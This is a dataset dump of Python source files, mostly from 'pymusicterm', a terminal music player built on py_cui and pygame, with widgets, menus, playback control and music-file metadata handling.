.pytorch_utils import *\nfrom .get_data_iter import *\nfrom .scheduler import *", "id": "11794812", "language": "Python", "matching_score": 2.4834814071655273, "max_stars_count": 8, "path": "imagenet/utils/__init__.py" }, { "content": "from .pytorch_utils import *\nfrom .get_data_iter import *\n", "id": "11500533", "language": "Python", "matching_score": 2.278681516647339, "max_stars_count": 8, "path": "utils/__init__.py" } ]
2.076261
EGAMAGZ
[ { "content": "from pymusicterm.util.time import milliseconds_to_minutes, milliseconds_to_seconds\nfrom py_cui.widgets import Widget\n\n\nclass LoadingBarWidget(Widget):\n \n BAR_COMPLETED_CHAR=u'\\u2588'\n\n def __init__(self,id,title,grid,row,column,row_span,column_span,padx,pady,logger) -> None:\n \"\"\" Initializer for LoadingBar Widget\n \"\"\"\n super().__init__(id,title,grid,row,column,row_span,column_span,padx,pady,logger)\n self._draw_border=True\n self._num_items=10\n self._completed_items=0\n self._total_duration=title\n self._time_elapsed=title\n\n def increment_items(self,time_elapsed:int):\n self._completed_items=time_elapsed\n minutes=milliseconds_to_minutes(self._completed_items)\n seconds=milliseconds_to_seconds(self._completed_items)\n self._time_elapsed='{}:{}'.format(minutes,seconds)\n self._title='{}-{}'.format(self._time_elapsed,self._total_duration)\n\n def set_total_duration(self,total_duration:int):\n self._num_items=total_duration\n self._completed_items=0\n\n minutes=milliseconds_to_minutes(self._num_items)\n seconds=milliseconds_to_seconds(self._num_items)\n self._time_elapsed=\"0:00\"\n self._total_duration='{}:{}'.format(minutes,seconds)\n self._title='{}-{}'.format(self._time_elapsed,self._total_duration)\n\n\n def _draw(self):\n \"\"\" Override base draw class.\n \"\"\"\n super()._draw()\n\n self._title=\"{}-{}\".format(self._time_elapsed,self._total_duration)\n width=self._stop_x -self._start_x\n bar_width=width\n items_per_bar_block=self._num_items / bar_width\n bar_blocks_per_item=bar_width/self._num_items\n\n if items_per_bar_block >=1:\n completed_blocks=int(self._completed_items/items_per_bar_block)\n else:\n completed_blocks=int(bar_blocks_per_item * self._completed_items)\n\n non_completed_blocks= bar_width - completed_blocks\n #TODO: STOP INCREMENT\n\n text='{}{}'.format(self.BAR_COMPLETED_CHAR* completed_blocks,'-'*non_completed_blocks)\n self._renderer.set_color_mode(self._color)\n\n # if self._draw_border:\n # self._renderer.draw_border(self,with_title=True)\n target_y=self._start_y+int(self._height/2)\n\n #FIXME: DOESN'T UPDATE IN REALTIME\n self._renderer.set_color_mode(self._color)\n self._renderer.draw_text(self,self._title,target_y-1,centered=True,selected=True)\n self._renderer.draw_text(self,text,target_y,centered=True,bordered=self._draw_border,selected=True)\n self._renderer.unset_color_mode(self._color)\n self._renderer.reset_cursor(self)\n", "id": "6006197", "language": "Python", "matching_score": 2.7370870113372803, "max_stars_count": 2, "path": "pymusicterm/ui/progressbar.py" }, { "content": "import py_cui\n\nfrom pymusicterm.ui.progressbar import LoadingBarWidget\n\nclass CustomWidgetSet(py_cui.widget_set.WidgetSet):\n def __init__(self,num_rows,num_cols,logger,simulated_terminal) -> None:\n \"\"\" Initializer for WidgetSet\n \"\"\"\n super().__init__(num_rows,num_cols,logger,simulated_terminal)\n\n def add_progress_bar(self, row, column, row_span = 1, column_span = 1, padx = 1, pady = 0,title=\"00:00\"):\n \"\"\" Functions that adds a new progress bar to the CUI grid\n\n Parameters\n ----------\n row : int\n Row value from the top down\n column : int \n Column from the top down\n row_span=1 :int\n Number of rows to span across\n column_span=1 : int\n Number of columns to span across\n padx=1 : int\n Number of padding characters in the x direction\n pady=0 : int\n Number of padding characters in the y direction\n title='00:00' : str\n Title of the duration of the song\n \"\"\"\n id='Widget{}'.format(len(self._widgets.keys()))\n new_progress_bar=LoadingBarWidget(id,title,self._grid,row,column,row_span,\n column_span,padx,pady,self._logger)\n\n self._widgets[id]=new_progress_bar\n self._logger.debug('Adding widget {} w/ ID {} of type {}'.format(title,id,str(type(new_progress_bar))))\n\n return new_progress_bar\n", "id": "3478025", "language": "Python", "matching_score": 2.548783302307129, "max_stars_count": 2, "path": "pymusicterm/ui/widget_set.py" }, { "content": "import curses\nfrom pymusicterm.ui.widget_set import CustomWidgetSet\nimport py_cui\nimport platform\nimport argparse\n\nimport pymusicterm.ui as ui\nfrom pymusicterm.ui.progressbar import LoadingBarWidget\nfrom pymusicterm.ui.windows import LocalPlayerWindow\nfrom pymusicterm.util.system import on_wsl\n\n__version__='0.0.4'\n\nclass ImpPyCUI(py_cui.PyCUI):\n \n def __init__(self,num_rows,num_cols) -> None:\n super().__init__(num_rows,num_cols)\n\n def create_new_widget_set(self, num_rows, num_cols):\n return CustomWidgetSet(num_rows,num_cols,self._logger,simulated_terminal=self._simulated_terminal)\n\n def _initialize_colors(self):\n super()._initialize_colors()\n curses.init_pair(ui.WHITE_ON_MAGENTA,curses.COLOR_WHITE,curses.COLOR_MAGENTA)\n\nclass App:\n \"\"\" Main pymusicterm class. Sets the WidgetSet in the beginning\n \"\"\"\n\n WINDOWS_OPTIONS=[\"Local Player\",\"Soon..\"]\n\n def __init__(self,root:ImpPyCUI):\n \"\"\" Constructor for App class\n \"\"\"\n self.root=root\n\n #Added widgets\n self.status_bar=self.root.status_bar\n\n self.logo_text_block=self.root.add_block_label(self._get_logo(),0,0,column_span=3)\n\n #ScrollMenus\n self.menu=self.root.add_scroll_menu(\"Select a Window\",1,1)\n\n self.__config()\n\n def _set_widget_set(self):\n option_index=self.menu.get_selected_item_index()\n if option_index==0:\n if on_wsl():\n self.root.show_error_popup(\"Important\",\"Your system is not supported for this feature\")\n else:\n window=LocalPlayerWindow(self.root).create()\n self.root.apply_widget_set(window)\n elif option_index==1:\n self.root.show_message_popup(\"On development\",\"This function is on development\")\n\n def _set_status_text(self) -> str:\n \"\"\" Functions that returns the name of the system the program is runned\n \"\"\"\n if on_wsl():\n return \"WSL\"\n else:\n return platform.system()\n\n def _get_logo(self) -> str:\n \"\"\" Generates logo of program\n\n Returns\n -------\n logo : str\n Returns the logo to be place on a widget\n \"\"\"\n logo=\" _ _ \\n\"\n logo+=\" ___ _ _ ._ _ _ _ _ ___<_> ___ _| |_ ___ _ _ ._ _ _\\n\" \n logo+=\"| . \\| | || ' ' || | |<_-<| |/ | ' | | / ._>| '_>| ' ' |\\n\"\n logo+=\"| _/`_. ||_|_|_|`___|/__/|_|\\_|_. |_| \\___.|_| |_|_|_|\\n\"\n logo+=\"|_| <___' \\n\" \n\n return logo\n\n def __config(self):\n \"\"\" Function that configure the widgets of the window\n \"\"\"\n self.menu.add_item_list(self.WINDOWS_OPTIONS)\n self.menu.add_key_command(py_cui.keys.KEY_ENTER,self._set_widget_set)\n\n self.logo_text_block.set_color(py_cui.MAGENTA_ON_BLACK)\n\n self.status_bar.set_color(py_cui.BLACK_ON_GREEN)\n self.root.set_title(\"pymusicterm - {}\".format(__version__))\n self.root.toggle_unicode_borders()\n self.root.set_status_bar_text(\"You're using: {} |q-Quit|Arrow keys to move|Enter - Focus mode\".format(self._set_status_text()))\n\ndef main():\n \"\"\" Entry point for pymusicterm and initialize the CUI\n \"\"\"\n parser=argparse.ArgumentParser()\n parser.add_argument('--version',action='version',version=__version__)\n args=parser.parse_args()\n\n root=ImpPyCUI(3,3)\n try:\n wrapper=App(root)\n root.start()\n except py_cui.py_cui.errors.PyCUIOutOfBoundsError:\n print(\"Your terminal is too small, try increasing it's size\")\n", "id": "4593764", "language": "Python", "matching_score": 4.492823123931885, "max_stars_count": 2, "path": "pymusicterm/__init__.py" }, { "content": "import py_cui\nfrom typing import List\n\nfrom py_cui import widget_set\n\nclass LocalPlayerSettingsMenu:\n\n MENU_OPTIONS:List[str]=[\"Repeat All\",\"Repeat\",\"Shuffle\",\"Block N|P key on repeat\"]\n TITLE:str=\"Player Settings\"\n ROW:int=4\n COLUMN:int=0\n ROW_SPAN:int=2\n COLUMN_SPAN:int=2\n\n window:py_cui.widget_set.WidgetSet\n\n def __init__(self,window:py_cui.widget_set.WidgetSet) -> None:\n \"\"\" Constructor of LocalPlayerSettingsMenu class\n \"\"\"\n self.window=window\n\n self.menu=self.window.add_checkbox_menu(self.TITLE,self.ROW,self.COLUMN,\n self.ROW_SPAN,self.COLUMN_SPAN)\n\n self.__config()\n\n def __config(self):\n \"\"\" Function that configures the CheckBoxMenu widget\n \"\"\"\n self.menu.add_item_list(self.MENU_OPTIONS)\n\n self.menu.add_text_color_rule(\"X\",py_cui.GREEN_ON_BLACK,'contains',match_type='regex')\n self.menu.set_focus_text(\"|Enter - Enable/Disable setting|\")\n \n def create(self) -> py_cui.widgets.CheckBoxMenu:\n \"\"\" Function that returns the CheckBoxMenu Widget created\n\n Returns\n -------\n menu : CheckBoxMenu\n Return a CheckBoxMenu Widget\n \"\"\"\n return self.menu\n\nclass LocalPlayerQueueMenu:\n \n TITLE=\"Songs queue\"\n ROW:int=0\n COLUMN:int=0\n ROW_SPAN:int=4\n COLUMN_SPAN:int=2\n\n window:py_cui.widget_set.WidgetSet\n\n def __init__(self,window:py_cui.widget_set.WidgetSet) -> None:\n \"\"\" Constructor of LocalPlayerQueueMenu class\n \"\"\"\n self.window=window\n\n self.menu=self.window.add_scroll_menu(self.TITLE,self.ROW,self.COLUMN,\n self.ROW_SPAN,self.COLUMN_SPAN)\n\n self.__config()\n\n def __config(self):\n \"\"\" Function that configures the ScrollMenu widget\n \"\"\"\n self.menu.set_focus_text(\"| Backspace - Remove song | Enter - Play Song\")\n\n def create(self) -> py_cui.widgets.ScrollMenu:\n \"\"\" Function that returns the ScrollMenu Widget created\n\n Returns\n -------\n menu : ScrollMenu\n Return a ScrollMenu Widget\n \"\"\"\n return self.menu\n\nclass LocalPlayerSongsMenu:\n\n TITLE=\"Song Files List\"\n ROW:int=3\n COLUMN:int=2\n ROW_SPAN:int=3\n COLUMN_SPAN:int=3\n\n window:py_cui.widget_set.WidgetSet\n\n def __init__(self,window:py_cui.widget_set.WidgetSet) -> None:\n \"\"\" Constructor of LocalPlayerSongsMenu class\n \"\"\"\n self.window=window\n\n self.menu=self.window.add_scroll_menu(self.TITLE,self.ROW,self.COLUMN,\n self.ROW_SPAN,self.COLUMN_SPAN)\n \n self.__config()\n\n def __config(self):\n \"\"\" Function that configures the ScrollMenu widget\n \"\"\"\n pass\n\n def create(self) -> py_cui.widgets.ScrollMenu:\n \"\"\" Function that returns the ScrollMenu widget created\n\n Returns\n -------\n menu : ScrollMenu\n Returns a ScrollMenu widget\n \"\"\"\n return self.menu\n", "id": "1749857", "language": "Python", "matching_score": 3.094825029373169, "max_stars_count": 2, "path": "pymusicterm/ui/menus.py" }, { "content": "import py_cui\n\nfrom pymusicterm.music import SongFile\nfrom pymusicterm.util.file import File, FileMetadata\n\nclass SongInfoBlockLabel:\n\n _row:int=0\n _column:int=2\n _row_span:int=2\n _column_span:int=3\n _center:bool=False\n\n window:py_cui.widget_set.WidgetSet\n\n def __init__(self,window:py_cui.widget_set.WidgetSet):\n self.window=window\n self.block_label=self.window.add_block_label(self._initial_text(),self._row,self._column,\n row_span=self._row_span,column_span=self._column_span,center=self._center)\n\n self.__config()\n\n def _initial_text(self):\n file_path=File().get_file_path()\n text=\"\"\" Actual path: {}\n No Song Selected\n \"\"\".format(file_path)\n return text\n\n def set_song_info(self,song_file:SongFile):\n pass\n\n def __config(self):\n \"\"\" Function that configure the widget\n \"\"\"\n self.block_label._draw_border=True\n", "id": "12791649", "language": "Python", "matching_score": 2.531226873397827, "max_stars_count": 2, "path": "pymusicterm/ui/labels.py" }, { "content": "import os\nimport py_cui\nfrom typing import List\n\nimport pymusicterm.ui as ui\nfrom pymusicterm.music import SongFile\nfrom pymusicterm.music.player import MusicPlayer\nfrom pymusicterm.util.file import File,FileMetadata\nfrom pymusicterm.ui.labels import SongInfoBlockLabel\nfrom pymusicterm.ui.widget_set import CustomWidgetSet\nfrom pymusicterm.ui.menus import LocalPlayerQueueMenu, LocalPlayerSettingsMenu, LocalPlayerSongsMenu\n\nclass LocalPlayerWindow(MusicPlayer):\n\n _songs_file:List[SongFile]\n _file_metadata:FileMetadata\n _file:File\n _colums:int = 5\n _rows:int = 7\n\n window:CustomWidgetSet\n root:py_cui.PyCUI\n\n def __init__(self,root):\n \"\"\" Constructor for LocalPlayerWindow\n \"\"\"\n #Init of class MusicPlayer, that will initialiaze pygame.mixer\n super().__init__()\n\n self.root = root\n self.window=self.root.create_new_widget_set(self._rows,self._colums)\n self._file=File()\n self._file_metadata=FileMetadata()\n\n #Added widgets\n self.status_bar=self.root.status_bar\n self.title_bar=self.root.title_bar\n\n #BlockLabels\n self.song_info=SongInfoBlockLabel(self.window)\n\n #Scroll Menus\n self.song_files_menu=LocalPlayerSongsMenu(self.window).create()\n self.settings_menu=LocalPlayerSettingsMenu(self.window).create()\n self.songs_queue_menu=LocalPlayerQueueMenu(self.window).create()\n self.bar=self.progress_bar=self.window.add_progress_bar(6,0,column_span=5)\n\n self.__load_songs() #TODO: Modify this method to make it async\n self.__config()\n\n def change_path(self,new_path:str):\n \"\"\" Changes file path to search songs\n \"\"\"\n self._file.set_file_path(new_path)\n self.song_files_menu.clear()\n self.__load_songs()\n\n def add_song(self):\n \"\"\"Override of base class function. Adds a new song to the queue\n \"\"\"\n index=self.song_files_menu.get_selected_item_index()\n song_file=self._songs_file[index]\n # self.song_info.set_song_info(song_file) BUG: In next version py_cui will be fix\n if self.not_in_queue_songs(song_file):\n self._file_metadata.set_file_path(song_file.get_file_path())\n self.songs_queue_menu.add_item(' '.join(self._file_metadata.get_title())) #Adds song to the scroll menu\n super().add_song(song_file) # Method of MusicPLayer class\n\n def play_song(self, index: int=None) -> str:\n file_path=super().play_song(index)\n self._file_metadata.set_file_path(file_path)\n self.bar.set_total_duration(self._file_metadata.get_length())\n\n def play(self):\n \"\"\"Plays a song in queue songs\n \"\"\"\n index=self.songs_queue_menu.get_selected_item_index()\n self.play_song(index)\n\n def pause_song(self):\n \"\"\" Override of base class function. Pauses the song playing and change\n the color of status bar and title bar\n \"\"\"\n if self.is_playing():\n super().pause_song() # First it paused\n if self.paused: # Then check if is paused\n self.status_bar.set_color(py_cui.WHITE_ON_RED)\n self.title_bar.set_color(py_cui.WHITE_ON_RED)\n else:\n self.status_bar.set_color(ui.WHITE_ON_MAGENTA)\n self.title_bar.set_color(ui.WHITE_ON_MAGENTA)\n\n def remove_song(self):\n \"\"\" Override of base class function. Removes song from queue\n \"\"\"\n index=self.songs_queue_menu.get_selected_item_index()\n self.songs_queue_menu.remove_selected_item()\n super().remove_song(index) # Method of MusicPlayer class\n\n def previous_song(self):\n \"\"\" Override of base class function. Plays previous song in queue\n \"\"\"\n song_index=self.get_song_index()\n if self.is_np_enabled():\n if song_index > 0:\n super().previous_song() # Method of MusicPlayer class\n song_index=song_index - 1\n self.songs_queue_menu.set_selected_item_index(song_index)\n\n def next_song(self):\n \"\"\" Override of base class function. Plays next song in queue\n \"\"\"\n song_index=self.get_song_index()\n if self.is_np_enabled():\n if not self.different_path(song_index):\n if song_index < len(self.get_queue_songs())-1:\n song_index=song_index + 1\n super().next_song()\n else:\n super().next_song()\n\n self.songs_queue_menu.set_selected_item_index(song_index)\n\n def song_time_elapsed(self):\n time_elapsed=super().song_time_elapsed()\n self.bar.increment_items(time_elapsed)\n\n def change_settings(self):\n index=self.settings_menu.get_selected_item_index()\n if index == 0: # Repeat all\n pass\n elif index == 1: # Repeat Once\n self.set_repeat()\n elif index == 2: # Shuffle\n pass\n elif index == 3:\n self.set_block_np()\n\n def _show_popup_file_path(self):\n \"\"\" Function that show text box popup to get new file path to search file songs\n \"\"\"\n self.root.show_text_box_popup(\"Write the path:\",self.__validate_path)\n\n def _show_popup_volume(self):\n self.root.show_text_box_popup(\"Set Volume from 0 - 100\",self.__validate_volume)\n\n def __validate_path(self,path:str):\n \"\"\" Function to validate the path\n\n Parameters\n ----------\n path : str\n Path to search song files\n \"\"\"\n if os.path.exists(path):\n self.change_path(path)\n else:\n # Show popup to ask for file path\n self._show_popup_file_path()\n\n def __validate_volume(self,volume:str):\n if volume.isnumeric() and 0<=int(volume)<=100:\n self.set_volume(int(volume))\n else:\n self._show_popup_volume()\n\n def __load_songs(self):\n \"\"\" Function that loads songs\n \"\"\"\n songs_name_list:List[str] = []\n self._songs_file=self._file.get_music_list()\n if self._songs_file: #List is not Empty\n songs_name_list=[song.get_name() for song in self._songs_file]\n self.song_files_menu.add_item_list(songs_name_list)\n else: #List is empty\n self.song_files_menu.clear()\n\n def __config(self):\n \"\"\" Function that configure the widgets of the window (WidgetSet)\n \"\"\"\n self.status_bar.set_color(ui.WHITE_ON_MAGENTA)\n\n self.window.add_key_command(py_cui.keys.KEY_S_LOWER,self._show_popup_file_path)\n self.window.add_key_command(py_cui.keys.KEY_SPACE,self.pause_song)\n self.window.add_key_command(py_cui.keys.KEY_P_LOWER,self.previous_song)\n self.window.add_key_command(py_cui.keys.KEY_N_LOWER,self.next_song)\n self.window.add_key_command(py_cui.keys.KEY_V_LOWER,self._show_popup_volume)\n\n self.settings_menu.add_key_command(py_cui.keys.KEY_ENTER,self.change_settings)\n self.song_files_menu.add_key_command(py_cui.keys.KEY_ENTER,self.add_song)\n self.songs_queue_menu.add_key_command(py_cui.keys.KEY_ENTER,self.play)\n self.songs_queue_menu.add_key_command(py_cui.keys.KEY_BACKSPACE,self.remove_song)\n\n self.root.set_title(\"Local Music Player\")\n self.root.set_status_bar_text(\"|q-Quit|S-Search in path|Space-Pause|Arrow keys to move|Enter-Focus Mode\")\n self.root.run_on_exit(self.stop_song)\n self.root.title_bar.set_color(ui.WHITE_ON_MAGENTA)\n\n def create(self) -> py_cui.widget_set.WidgetSet:\n \"\"\" Function that returns a window (a widgetset)\n\n Returns\n -------\n window : WidgetSet\n Returns a widgetset\n \"\"\"\n\n return self.window\n", "id": "11744963", "language": "Python", "matching_score": 4.765229225158691, "max_stars_count": 2, "path": "pymusicterm/ui/windows.py" }, { "content": "import os\nos.environ['PYGAME_HIDE_SUPPORT_PROMPT']=\"hide\"\nimport threading\nfrom pygame import mixer\nfrom typing import List, overload\n\nfrom pymusicterm.music import SongFile\n# https://www.thecodingpup.com/post_detailed/music-player-in-python\nclass MusicPlayer:\n \"\"\" Music player using pygame\n\n This class uses pygame as a player, which contains functions to control the music. Some \n of this actions are pause, stop, volume up or down, add or remove song in queue, etc.\n \"\"\"\n\n FADE_OUT_TIME:int = 500\n PLAYER_STOPPED:int=0\n NO_QUEUE_SONGS:int=1\n SONG_PLAYING:int=2\n SONG_STOPPED:int=3\n SONG_CHANGING:int=4\n\n _song_file:SongFile = None\n _queue_songs:List[SongFile] = []\n _main_thread:threading.Thread=None\n _song_index:int = 0\n _status:int=None\n\n repeat:bool=False\n paused:bool=False\n block_np:bool=False\n\n def __init__(self):\n \"\"\" Constructor for MusicPLayer\n \"\"\"\n mixer.init() #Initialize pygame\n\n def set_repeat(self):\n \"\"\" Function that sets True/False repeat variable to repeat the song playing\n \"\"\"\n self.repeat=not self.repeat\n\n def set_block_np(self):\n \"\"\" Function that sets True/False block_np variable to block the keys n and p\n \"\"\"\n self.block_np=not self.block_np\n\n def set_volume(self,volume:int):\n \"\"\" Sets the volume of the player\n \n Parameters\n ----------\n volume : int\n Value of volume that will be changed (1-100)\n \"\"\"\n f_volume=volume/100\n mixer.music.set_volume(f_volume)\n\n def get_song_index(self) -> int:\n \"\"\" Gets actual index of the list of queue songs\n\n Returns\n -------\n song_index : int\n Actual index\n \"\"\"\n return self._song_index\n\n def get_queue_songs(self) -> List[str]:\n \"\"\" Gets the list of queue songs\n\n Returns\n -------\n queue_songs : List[str]\n Queue songs\n \"\"\"\n return self._queue_songs\n\n def not_in_queue_songs(self,song_file:SongFile) -> bool:\n \"\"\"Fuction to check if a SongFile that's added already exists in queue songs\n\n Parameters\n ----------\n song_file : SongFile\n Dataclass where the info of the song file\n\n Returns\n -------\n exists : bool\n returns if exists\n \"\"\"\n if not any(song.get_file_path()==song_file.get_file_path() for song in self._queue_songs):\n return True\n return False\n\n def different_path(self,index:int) -> bool:\n \"\"\" Function that checks if the song playing has a different file path\n\n Returns\n -------\n different : bool\n returns if they are different or not\n \"\"\"\n if self._song_file.get_file_path() != self._queue_songs[index].get_file_path():\n return True\n return False\n\n def is_playing(self) -> bool:\n \"\"\" Return the current state of the mixer (if is busy)\n\n Return\n ------\n get_busy : bool\n Check if the music stream is playing\n \"\"\"\n return mixer.music.get_busy()\n\n def is_np_enabled(self) -> bool:\n \"\"\" Checks if the keys n and p can response when they are pressed\n \n Returns\n -------\n enabled : bool\n Returns if n and p keys are enable when a song is repeating\n \"\"\"\n if self.block_np and self.repeat:\n return False\n return True\n\n # -| Function related with the player |-\n\n def add_song(self,song_file:SongFile):\n \"\"\"Adds a SongFile to the queue songs\n\n Parameters\n ----------\n song_file : SongFile\n Dataclass where the info of the song file\n \"\"\"\n if not self._queue_songs:\n self._status=self.SONG_PLAYING\n self._song_file=song_file # Sets actual SongFile playing\n mixer.music.load(self._song_file.get_file_path()) # Loads the song and play it automatically\n mixer.music.play()\n self._check_player()\n\n self._queue_songs.append(song_file) # Song added to queue songs\n\n def remove_song(self, index:int):\n \"\"\" Removes song from queue\n\n Parameters\n ----------\n index : int\n Index of item in queue songs menu\n \"\"\"\n try:\n del self._queue_songs[index]\n except IndexError:\n pass\n\n @overload\n def play_song(self) -> str: ... # Function when is replayed the song\n\n def play_song(self,index:int=None) -> str:\n \"\"\" Function that plays a song in queue songs\n\n Parameters\n ----------\n index : int\n Index of item in queue songs menu\n\n Returns\n -------\n file_path : str\n File path of the song file\n \"\"\"\n if self._status==self.NO_QUEUE_SONGS:\n # If every song was played, it will restrart the thread and change status\n self._status=self.SONG_PLAYING\n self._check_player()\n\n self._status=self.SONG_CHANGING\n if index is not None:\n #! This part is supposed to be executed when player is busy\n # Validate if actual song is playing\n if self.different_path(index):\n self._song_index=index # Sets new index of new song playing\n self._song_file=self._queue_songs[index]\n mixer.music.fadeout(self.FADE_OUT_TIME) # Fadeout until it stops\n mixer.music.load(self._song_file.get_file_path()) # Loads the song and play it automatically\n mixer.music.play()\n else:\n mixer.music.rewind()\n else:\n # Will take the last song selected from the variable _song_file\n mixer.music.load(self._song_file.get_file_path())\n mixer.music.play()\n self._status=self.SONG_PLAYING\n\n return self._song_file.get_file_path()\n\n def previous_song(self):\n \"\"\" Plays previous song in queue\n \"\"\"\n self._status=self.SONG_STOPPED\n index = self._song_index - 1\n self.play_song(index)\n\n def next_song(self):\n \"\"\" Plays next song in queue\n \"\"\"\n self._status=self.SONG_STOPPED\n if self.different_path(self._song_index):\n # Will the play the song in same index if it has a different path\n # (Used when a song is deleted but there are other song in queue ahead)\n index=self._song_index\n else:\n index= self._song_index + 1\n self.play_song(index)\n\n def pause_song(self):\n \"\"\" Pauses the song playing\n \"\"\"\n if self.paused:\n self.paused=False\n mixer.music.unpause()\n else:\n self.paused=True\n mixer.music.pause()\n\n def stop_song(self):\n \"\"\" Function that stops actual song\n \"\"\"\n if self._main_thread is not None:\n self._status=self.PLAYER_STOPPED\n self._main_thread.join()\n mixer.music.fadeout(self.FADE_OUT_TIME)\n\n def song_time_elapsed(self):\n return mixer.music.get_pos()\n\n def auto_change(self):\n \"\"\" Function that automatically changes the song playing or stops the main_thread\n \"\"\"\n #! This part is supposed to be executed when player is not busy\n max_index=len(self._queue_songs)-1\n\n #TODO: Handle when queue song list is empty and after the song stopped playing is added a new song\n if not self.repeat:\n # Will check if is the last song and it stills playing\n if self._song_index < max_index and self._status != self.SONG_CHANGING: \n self.next_song()\n\n if self._song_index == max_index and self._status==self.SONG_PLAYING:\n # FIXME: When the last song is executed, this part is executed\n self._status=self.NO_QUEUE_SONGS\n else:\n # Will replay the song\n if self._status != self.SONG_CHANGING:\n self.play_song()\n\n def _check_player(self):\n \"\"\" Function that starts a thread to change automatically the song\n \"\"\"\n def check_player_thread():\n \"\"\" Child function that will be runned in a thread\n \"\"\"\n while self._status!=self.PLAYER_STOPPED and self._status!=self.NO_QUEUE_SONGS:\n if not self.is_playing():\n self.auto_change()\n else:\n self.song_time_elapsed()\n\n self._main_thread=threading.Thread(name=\"Check Player Thread\",target=check_player_thread)\n self._main_thread.start()\n", "id": "1787516", "language": "Python", "matching_score": 2.3589398860931396, "max_stars_count": 2, "path": "pymusicterm/music/player.py" }, { "content": "import os\nfrom pymusicterm.util.time import seconds_to_milliseconds\nimport mutagen\nimport taglib\nfrom typing import List,Dict\n\nfrom pymusicterm.music import SongFile,is_valid_extension\nfrom pymusicterm.util.system import on_wsl,get_platform_name,get_user_name\n\nclass File:\n \"\"\" Class responsible to get the list of SongFile dataclasses for the LocalPlayerWindow\n\n This class contains functions that are use to search for song files with valid extensions\n and with them generate lists of SongFile dataclasses that will be used in the window of the\n local music player, and to change the path to search those files\n \"\"\"\n\n _file_path:str\n _platform_name:str\n _user_name:str\n\n def __init__(self):\n self._platform_name=get_platform_name() # Gets platform name\n self._user_name=get_user_name() # Gets username\n self._file_path=self.__get_default_path() # By default will get the default path of each platform\n\n def set_file_path(self,file_path:str):\n \"\"\" Sets file path to load songs\n\n Parameters\n ----------\n file_path : str\n File path where song files will be searched\n \"\"\"\n self._file_path=file_path\n\n def get_file_path(self) -> str:\n \"\"\" Get the actual file path\n\n Returns\n -------\n file_path : str\n Actual file path\n \"\"\"\n return self._file_path\n\n def __get_default_path(self) -> str:\n \"\"\" Gets the default music path depending of the platform the program is runned\n\n Returns\n -------\n file_path : str\n Default music path\n \"\"\"\n if self._platform_name == \"linux\":\n file_path=\"/home/{}/Music/\".format(self._user_name)\n elif self._platform_name == \"windows\":\n file_path=\"C:\\\\Users\\\\{}\\\\Music\".format(self._user_name)\n\n return file_path\n\n def _get_songs_file(self) -> List[str]:\n \"\"\" Funtion that return a list of song files that have a valid extension\n\n Returns\n -------\n songs_list : List[str]\n List of valid song files\n \"\"\"\n songs_list=[] #List of song files\n files_list=os.listdir(self._file_path) # List of all files found in the file path\n for file_name in files_list:\n if is_valid_extension(file_name): # Check if is a valid extension\n songs_list.append(file_name)\n \n return songs_list\n\n def get_music_list(self) -> List[SongFile]:\n \"\"\" Function that returns a list of SongFile dataclasses\n\n Returns\n -------\n song_files_list : List[SongFile]\n List of dataclasses with information of the song file\n \"\"\"\n songs_file_list:List[SongFile] = []\n songs_list=self._get_songs_file()\n\n for song in songs_list:\n # Will add SongFile dataclasses to song_files_list\n songs_file_list.append(SongFile(self._file_path,song))\n\n return songs_file_list\n\nclass FileMetadata:\n \"\"\" Class responsible to get the metadata of a song file\n\n This class contains functions that returns specific information extracted from\n the metadata of the song file. Everytime is set a new file path, it automatically\n extracts the data and stores it in _metadata.\n \"\"\"\n _file_path:str\n _metadata:Dict[str,List[str]]\n\n def __init__(self):\n pass\n\n def set_file_path(self,file_path:str):\n \"\"\" Sets the path of the file to extract the metadata.\n\n Parameters\n ----------\n file_path : str\n Path of the song file to extract the metadata\n \"\"\"\n self._file_path=file_path\n self._metadata=self.__get_metadata()\n\n def __get_metadata(self) -> Dict[str,List[str]]:\n \"\"\" Gets the metadata of the song file\n\n Returns\n -------\n File : Dict[str,List[str]]\n Metatada of song file in a dictionary\n \"\"\"\n return taglib.File(self._file_path).tags\n\n def get_artist(self) -> List[str]:\n \"\"\" Gets the list of artists from the metadata dictionary\n\n Returns\n -------\n ARTIST : List[str]\n Artists list\n \"\"\"\n try:\n return self._metadata[\"ARTIST\"]\n except KeyError:\n return [\"UNKNOWN\"]\n\n def get_album(self) -> List[str]:\n \"\"\" Gets the list of albums from the metadata dictionary\n\n Returns\n -------\n ALBUM : List[str]\n Albums List\n \"\"\"\n try:\n return self._metadata[\"ALBUM\"]\n except KeyError:\n return [\"UNKNOWN\"]\n\n def get_title(self) -> List[str]:\n \"\"\" Gets the list of title from the metadata dictionary\n\n Returns\n -------\n TITLE : List[str]\n Titles list\n \"\"\"\n try:\n return self._metadata[\"TITLE\"]\n except KeyError:\n file_name=os.path.split(self._file_path)[1]\n name=os.path.splitext(file_name)[0]\n return [name]\n\n def get_genre(self) -> List[str]:\n \"\"\" Gets the list of genres from the metadata dictionary\n\n Returns\n -------\n GENRE : str\n Genres list\n \"\"\"\n try:\n return self._metadata[\"GENRE\"]\n except KeyError:\n return [\"UNKNOWN\"]\n\n def get_date(self) -> List[str]:\n \"\"\" Gets the list of dates from the metadata dictionary\n\n Returns\n -------\n DATE : str\n Dates list\n \"\"\"\n try:\n return self._metadata[\"DATE\"]\n except KeyError:\n return [\"UNKNOWN\"]\n\n def get_length(self) -> int:\n mutagen_metadata=mutagen.File(self._file_path)\n seconds=mutagen_metadata.info.length\n return seconds_to_milliseconds(seconds)\n", "id": "238855", "language": "Python", "matching_score": 2.996591567993164, "max_stars_count": 2, "path": "pymusicterm/util/file.py" }, { "content": "import os\n\nMUSIC_EXTENSIONS=(\".mp3\",\".wav\") # Valid music extensions\n\ndef is_valid_extension(file_name:str):\n if file_name.endswith(MUSIC_EXTENSIONS):\n return True\n return False\n\nclass SongFile:\n \"\"\" Class that stv ores information of a song file\n\n This class with store the path where is found the song and the name\n of the file. And with the functions will return some requested information\n store.\n \"\"\"\n _path:str\n _file_name:str\n\n def __init__(self,path:str,file_name:str):\n self._path=path\n self._file_name=file_name\n\n def get_name(self) -> str:\n \"\"\" Gets the name of the file\n\n Return\n ------\n name : str\n Name of the file (without extension)\n \"\"\"\n return os.path.splitext(self._file_name)[0]\n\n def get_file_path(self) -> str:\n \"\"\" Gets the complete file path where is the song\n\n Return\n ------\n file_path : str\n Join of the path and file_name, for the location of the song file\n \"\"\"\n return os.path.join(self._path,self._file_name)\n\n def get_path(self) -> str:\n \"\"\" Gets the path where is found the song file\n\n Return\n ------\n path : str\n Path where you can find the song\n \"\"\"\n return self._path\n", "id": "71445", "language": "Python", "matching_score": 